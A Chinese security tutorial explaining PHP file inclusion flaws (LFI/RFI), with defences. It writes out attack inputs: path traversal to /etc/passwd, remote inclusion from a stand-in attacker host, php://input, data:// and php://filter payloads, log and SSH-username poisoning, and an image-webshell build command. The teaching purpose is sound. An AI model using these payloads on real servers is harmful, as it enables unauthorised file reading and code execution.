文件包含基础漏洞原理
目录
本文根据深信服 SCSA-S 课程《文件包含》三节课件整理,讲文件包含机制、PHP 包含函数、本地/远程包含、常见利用方式、PHP 封装伪协议与防御。靶场部分见《RCE 基础漏洞 CTFHub 实战 11 题》。
引言
文件包含本身是代码复用机制:把重复使用的函数或代码写入单个文件,在需要时调用该文件,避免重复编写。问题出在被包含的文件名由用户控制,且服务端没有做严格校验:攻击者可以让程序包含预期之外的文件,造成源码泄露、敏感文件读取,甚至执行任意 PHP 代码。
文件包含漏洞在 PHP Web 应用中最多,JSP、ASP、ASP.NET 中相对较少。这与各语言的包含机制和默认配置有关,但不代表其他语言不存在。
一、文件包含机制与 PHP 包含函数
1.1 文件包含的定义
课件给出的定义是:
把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,无需再次编写函数。这一调用文件的过程被称为包含。
在 PHP 中,包含通过以下四个函数完成:
| 函数 | 找不到文件时的行为 | 重复包含 |
|---|---|---|
include() |
产生警告(E_WARNING),脚本继续执行 |
会重复包含 |
include_once() |
产生警告(E_WARNING),脚本继续执行 |
已包含则不再包含 |
require() |
产生致命错误(E_COMPILE_ERROR),脚本终止 |
会重复包含 |
require_once() |
产生致命错误(E_COMPILE_ERROR),脚本终止 |
已包含则不再包含 |
include 与 require 的核心差异是错误级别:前者失败后继续,后者失败后终止。写业务代码时,require 用于配置文件、核心库等缺失后无法继续运行的场景。
1.2 漏洞产生的条件
文件包含漏洞需要同时满足两个条件:
- 包含函数通过动态变量的方式引入文件,例如
include($_GET['file']); - 用户能够控制该动态变量。
如果文件名是硬编码的常量,例如 include('header.php'),用户无法改变包含目标,就不存在这个漏洞。
一个典型的脆弱代码:
<?php$file = $_GET['file'];include($file);?>请求 ?file=../../etc/passwd 时,include 会读取 etc/passwd;请求 ?file=http://attacker/shell.txt 时,在配置允许的情况下会包含远程文件。
1.3 PHP 的文件解析行为
PHP 在包含文件时,判断的是文件内容是否符合 PHP 语法,而不是文件扩展名。课件给出的实验结论是:
分别修改
phpinfo.txt扩展名为jpg、rar、xxx,发现均可解析,只要文件内容符合 PHP 语法规范,任何扩展名都可以被 PHP 解析。
这条结论是后续“图片马 + 文件包含”利用方式的基础:上传一个内容为 PHP 代码、扩展名为 .jpg 的文件,再通过文件包含漏洞包含它,PHP 仍会执行其中的代码。
二、文件包含的分类:LFI 与 RFI
课件把文件包含漏洞分为两类:
| 类型 | 全称 | 含义 |
|---|---|---|
| LFI | Local File Inclusion | 本地文件包含,只能包含服务器本地文件 |
| RFI | Remote File Inclusion | 远程文件包含,可以包含远程 URL 指向的文件 |
区分二者的直接方法是检查 php.ini:
allow_url_include = On:允许包含远程文件,才可能产生 RFI;allow_url_fopen = On:允许打开远程文件;allow_url_fopen默认一直为On;allow_url_include从 PHP 5.2 之后默认为Off。
因此,RFI 的利用条件比 LFI 更严格,需要 allow_url_include 和 allow_url_fopen 同时开启,或者代码中存在其他可以引入远程内容的机制。
2.1 本地文件包含
本地文件包含的典型形式:
?page=test.php?page=../../test.php第一种包含同目录文件;第二种通过 ../ 进行目录遍历,包含上级目录或其他目录的文件。LFI 的价值在于读取敏感文件和配合文件上传执行代码,而不是直接包含一个不存在的 WebShell。
2.2 远程文件包含
远程文件包含的形式:
?page=http://attacker-ip/shell.txt前提是 allow_url_include = On,且目标服务器能够访问攻击者指定的 URL。攻击者在自己控制的服务器上放置一个内容为 PHP 代码的文本文件,包含后由目标服务器的 PHP 解释器执行。
远程包含要求被包含的文件可以通过 HTTP 访问,因此通常需要公网地址、内网穿透或一台可被目标访问的服务器。课件中提到可以用 python -m http.server 提供文件,也可以用自己已有的 ECS。
三、本地文件包含的利用方式
3.1 读取敏感文件
LFI 最直接的利用是读取服务器上的敏感文件。课件列出了常见路径:
Windows
| 路径 | 内容 |
|---|---|
C:\boot.ini |
系统版本 |
C:\windows\system32\inetsrv\MetaBase.xml |
IIS 配置 |
C:\windows\repair\sam |
Windows 初次安装的密码 |
C:\Program Files\mysql\my.ini |
MySQL 配置 |
C:\Program Files\mysql\data\mysql\user.MYD |
MySQL root 用户信息 |
C:\windows\php.ini |
PHP 配置 |
Linux
| 路径 | 内容 |
|---|---|
/etc/passwd |
用户信息 |
/usr/local/app/apache2/conf/httpd.conf |
Apache 配置 |
/usr/local/app/php5/lib/php.ini |
PHP 配置 |
/etc/httpd/conf/httpd.conf |
Apache 配置 |
/etc/my.cnf |
MySQL 配置 |
实际测试时,路径需要根据目标系统、中间件版本和安装方式调整。/etc/passwd 是最常用的验证文件,读取成功即可确认 LFI 存在。
3.2 本地包含配合文件上传
如果目标存在文件上传功能,可以上传一个“图片马”:文件头为合法图片格式,文件内容包含 PHP 代码。课件给出的制作方式是:
copy 1.jpg/b + 1.php/a 2.jpg假设上传后的路径为 /2.jpg,再通过文件包含读取:
http://target/include/03/index.php?page=2.jpg由于 PHP 只检查文件内容是否符合语法,不检查扩展名,2.jpg 中的 PHP 代码会被执行。这条利用链需要两个条件同时成立:存在可控的上传点,且上传目录可以被文件包含访问。
3.3 包含日志文件
当目标存在文件包含漏洞,但没有可包含的 WebShell 文件,也没有上传点时,可以利用 Web 服务器或系统日志。
Apache 日志
Apache 通常有两个日志文件:
access.log:记录访问请求;error.log:记录错误请求。
访问日志的字段包括客户端地址、访问者标识、验证用户名、请求时间、请求类型、状态码、发送字节数。请求行(包括 URL 和 User-Agent 等首部)会被写入日志。攻击者可以构造一个包含 PHP 代码的请求,使代码进入日志,再通过文件包含执行日志文件。
课件给出的日志默认路径:
| 环境 | 路径 |
|---|---|
| Apache + Linux | /etc/httpd/logs/access_log 或 /var/log/httpd/access_log |
| Apache + Windows(XAMPP) | xampp\apache\logs\access.log |
| Apache + Windows(phpStudy) | phpStudy\Apache\logs\access.log |
| IIS 6 | C:\WINDOWS\system32\Logfiles |
| IIS 7 | %SystemDrive%\inetpub\logs\LogFiles |
| Nginx | 安装目录下的 logs/,如 /usr/local/nginx/logs/access.log,也可从 nginx.conf 获取 |
利用日志包含时,需要注意:
- 日志路径必须已知或可猜测;
- 日志文件必须可被 Web 进程读取;
- 写入日志的内容必须符合 PHP 语法,且不会被日志格式破坏;
- 访问不存在的资源也会产生日志记录,因此可以用 404 请求写入代码。
SSH 日志
Linux 的 SSH 登录日志会记录用户名。如果把用户名写成 PHP 代码,登录失败时也会写入日志:
ssh '<?php phpinfo(); ?>'@192.168.136.143之后再通过文件包含读取 SSH 日志。该方式依赖 SSH 日志路径和日志内容的可控性。
Session 文件
PHP 的 Session 数据默认保存在服务端文件中,文件名通常为 sess_[PHPSESSID]。如果攻击者可以控制 Session 中的某部分内容(例如用户名、个人签名),就可以把 PHP 代码写入 Session 文件,再通过文件包含执行。
利用条件:
- Session 文件路径已知;
- Session 文件中的部分内容可控;
- Session ID 已知。
Session 文件路径可以通过 phpinfo() 页面的 session.save_path 获取,也可以猜测常见位置:
/var/lib/php/sess_[PHPSESSID]/tmp/sess_[PHPSESSID]获取 Session ID 可以通过浏览器 Cookie 或 Burp 抓包。文件包含时使用相对路径或绝对路径跨目录包含 Session 文件。
四、PHP 封装伪协议
PHP 提供了一批 URL 风格的封装协议,可以与 fopen()、copy()、file_exists()、filesize() 等文件系统函数配合使用。在文件包含场景中,伪协议可以改变 include 读取的数据来源。
课件列出的常见协议:
| 协议 | 作用 |
|---|---|
file:// |
访问本地文件系统 |
http:// |
访问 HTTP(S) 网址 |
ftp:// |
访问 FTP(S) URL |
php:// |
访问各个输入/输出流 |
zlib:// |
压缩流 |
data:// |
数据(RFC 2397) |
phar:// |
PHP 归档 |
4.1 php://input
php://input 是一个只读流,可以读取请求体。文件包含使用 php://input 时,include 会把 POST 请求体当作文件内容读取并执行。
利用条件:
allow_url_include = On;allow_url_fopen不做要求;- 请求方法为 POST,请求体中包含 PHP 代码。
示例:
POST /index.php?page=php://input HTTP/1.1Host: targetContent-Type: application/x-www-form-urlencoded
<?php phpinfo(); ?>服务端执行 include('php://input') 时,会读取请求体中的 PHP 代码并执行。CTFHub 的 php://input 题使用的就是这一机制。
4.2 php://filter
php://filter 用于对数据流进行过滤处理,最常见的是 convert.base64-encode:把文件内容按 Base64 编码后输出,从而读取 PHP 源码而不执行它。
示例:
?page=php://filter/read=convert.base64-encode/resource=index.php也可以省略 read=:
?page=php://filter/convert.base64-encode/resource=index.php利用条件:
allow_url_include和allow_url_fopen都不做要求;- 目标文件路径已知;
- 服务端返回 Base64 字符串,攻击者自行解码。
php://filter 不能直接获取 Shell,但可以读取源码、配置文件、/flag 等敏感文件,危害仍然很大。
4.3 zip://
zip:// 用于包含 ZIP 压缩包中的文件。利用方式:
- 把 PHP 代码写入
test.txt; - 将
test.txt压缩为test.zip; - 如果目标允许上传 ZIP,直接上传;否则把
test.zip重命名为test.jpg后上传; - 通过文件包含读取压缩包内的文件。
示例:
?page=zip://C:/Users/40454/Desktop/test.jpg%23test.txt注意事项:
zip://需要指定压缩包的绝对路径,使用相对路径可能包含失败;#在 URL 中表示片段标识,必须编码为%23;- 压缩包内的文件名需要与
#后的名称一致。
4.4 data://
data:// 直接把数据作为文件内容,适合在 allow_url_include 开启时执行代码。
利用条件:
- PHP 版本大于等于 5.2;
allow_url_include = On;allow_url_fopen = On。
示例:
?page=data://text/plain,<?php phpinfo(); ?>?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+4.5 phar://
phar:// 用于访问 PHP 归档文件。把包含 PHP 代码的文件打包为 ZIP 或 PHAR,再通过 phar:// 包含:
?page=phar://C:/Users/40454/Desktop/test.zip/test.txt?page=phar://C:/Users/40454/Desktop/test.jpg/test.txtphar:// 的路径解析方式与 zip:// 类似,需要指定归档文件路径和内部文件路径。实际利用时还要注意 phar.readonly 配置和文件上传限制。
4.6 伪协议的选择
| 目标 | 可用协议 | 关键条件 |
|---|---|---|
| 执行 POST Body 中的代码 | php://input |
allow_url_include=On |
| 读取源码/敏感文件 | php://filter |
无特殊配置要求 |
| 执行压缩包内的代码 | zip://、phar:// |
能上传压缩包或图片 |
| 直接执行 URL 中的数据 | data:// |
allow_url_include=On、allow_url_fopen=On |
| 包含远程文件 | http://、ftp:// |
allow_url_include=On、allow_url_fopen=On |
伪协议的利用面取决于 php.ini 配置、PHP 版本和目标文件路径。测试时应先确认配置,再选择协议。
五、文件包含漏洞的防御
5.1 使用白名单映射
最有效的防御是不让用户直接控制文件路径。使用固定映射:
<?php$pages = [ 'home' => 'pages/home.php', 'about' => 'pages/about.php', 'news' => 'pages/news.php',];
$page = $_GET['page'] ?? 'home';if (!isset($pages[$page])) { http_response_code(404); exit;}include $pages[$page];?>白名单的键由服务端定义,用户输入只用于选择,不参与路径拼接。
5.2 限制包含来源
allow_url_include = Off:禁止包含远程文件;allow_url_fopen = Off:禁止打开远程文件;open_basedir:限制 PHP 可访问的目录范围;- 不使用用户输入拼接绝对路径或相对路径。
5.3 规范化路径并校验
如果业务必须使用动态路径,先规范化再做前缀校验:
$base = realpath(__DIR__ . '/pages');$target = realpath($base . '/' . $file);if ($base === false || $target === false || strpos($target, $base . DIRECTORY_SEPARATOR) !== 0) { exit('Invalid path');}include $target;realpath() 会解析 ../ 和符号链接;比较时带上目录分隔符,避免把同名前缀的其他目录当成合法子目录。
5.4 上传与日志
- 上传目录禁止脚本执行;
- 上传文件重命名,不使用用户可控的文件名;
- 上传目录与包含目录分离;
- 限制日志文件的访问权限;
- 不把用户输入直接写入可被包含的日志或 Session 文件;
- Web 进程以低权限运行,降低文件读取范围。
5.5 代码审计关注点
审计 PHP 代码时,重点检查:
include、include_once、require、require_once的参数来源;- 参数是否经过白名单或路径校验;
allow_url_include、allow_url_fopen、open_basedir配置;- 上传功能与包含功能是否同时存在;
- 日志、Session 文件是否可被用户控制。
六、总结
文件包含漏洞的核心是包含目标可控且缺少校验。需要掌握:
- 四个包含函数:
include、include_once、require、require_once的差异; - 两类包含:LFI 与 RFI,以及
allow_url_include、allow_url_fopen的作用; - 常见利用:读取敏感文件、图片马配合上传、日志包含、Session 包含;
- PHP 伪协议:
php://input、php://filter、zip://、data://、phar://的条件与用法; - 防御:白名单映射、关闭远程包含、
open_basedir、路径规范化、上传目录禁止执行。
文件包含的利用往往需要组合其他条件:上传点、日志写入、Session 可控内容、已知路径。分析时应先确认这些前置条件,再选择对应的包含方式。